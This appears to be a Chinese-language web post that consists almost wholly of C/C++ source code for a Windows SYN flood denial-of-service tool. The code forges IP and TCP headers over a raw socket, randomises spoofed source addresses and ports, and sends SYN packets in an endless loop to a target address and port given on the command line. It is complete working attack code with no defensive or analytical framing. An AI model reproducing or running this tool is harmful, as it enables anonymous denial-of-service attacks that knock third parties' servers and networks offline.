C++原始SOCKET编写的SYN Flood 源码

#include <stdio.h> #include <winsock2.h> #include <ws2tcpip.h> #include <windows.h> #include <time.h> #include <dos.h> #pragma comment(lib, "ws2_32.lib") #define MAX_RECEIVEBYTE 255 typedef struct ip_head //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度（字节） unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 （如SYN,ACK，等） unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (如ICMP，TCP等) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IPHEADER; typedef struct tcp_head //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flag; //6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 }TCPHEADER; typedef struct tsd_head //定义TCP伪首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSDHEADER; //CheckSum:计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } //Delay_time单位为毫秒。 int main(int argc, char* argv[]) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; PSDHEADER psdHeader; int SourcePort; char szSendBuf[60]={0}; BOOL flag; int rect,nTimeOver; int sleeptime; printf("***********************************************************\n"); printf("SYN_FLOOD\n"); printf("Parameter: FLOOD Target_ip Target_port Delay_time\n"); printf("***********************************************************\n"); if (argc < 3 || argc >4 ) { printf("input error! "); return false; } if (argc==4) sleeptime=atoi(argv[3]); else sleeptime=300; if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) { printf("WSAStartup Error!"); return false; } sock=NULL; if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET) { printf("Socket Setup Error!"); return false; } flag=true; if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) { printf("setsockopt IP_HDRINCL error!"); return false; } nTimeOver=1000; if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间 { printf("setsockopt SO_SNDTIMEO error!"); return false; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(atoi(argv[2])); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); //填充IP首部 ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.tos=0; ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //IP总长度 ipHeader.ident=1; ipHeader.frag_and_flags=0; //无分片 // ipHeader.ttl=(unsigned char)GetTickCount()%87+123; ipHeader.proto=IPPROTO_TCP; // 协议类型为 TCP ipHeader.checksum=0; //效验位先初始为0 // ipHeader.sourceIP=htonl(GetTickCount()*474695); //随机产生一个伪造的IP ipHeader.destIP=inet_addr(argv[1]); //目标IP //填充TCP首部 // SourcePort=GetTickCount()*43557%9898; //随机产生一个端口号 tcpHeader.th_dport=htons(atoi(argv[2])); //发送的目的端口 // tcpHeader.th_sport=htons(SourcePort); //源端口号 tcpHeader.th_seq=htonl(0x12345678); //序列号 tcpHeader.th_ack=0; //确认号 tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2; //为SYN请求 tcpHeader.th_win=htons(512); tcpHeader.th_urp=0; tcpHeader.th_sum=0; //填充TCP伪首部用来计算TCP头部的效验和 // psdHeader.saddr=ipHeader.sourceIP; psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP; psdHeader.tcpl=htons(sizeof(tcpHeader)); while(TRUE) { ipHeader.ttl=(unsigned char)GetTickCount()%87+123; ipHeader.sourceIP=htonl(GetTickCount()*474695); //随机产生一个伪造的IP SourcePort=GetTickCount()*43557%9898; //随机产生一个端口号 tcpHeader.th_sport=htons(SourcePort); //源端口号 psdHeader.saddr=ipHeader.sourceIP; //计算校验和 memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); //把伪造好的IP头 和 TCP 头 放进 buf 准备发送 memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); //发送数据包 rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (rect==SOCKET_ERROR) { printf("send error!:%d",WSAGetLastError()); return false; } else printf("send ok!"); Sleep(sleeptime); //根据自己网速的快慢确定此值，sleeptime越小发得越快 }//endwhile //重新伪造IP的源地址等再次向目标发送 closesocket(sock); WSACleanup(); return 0; }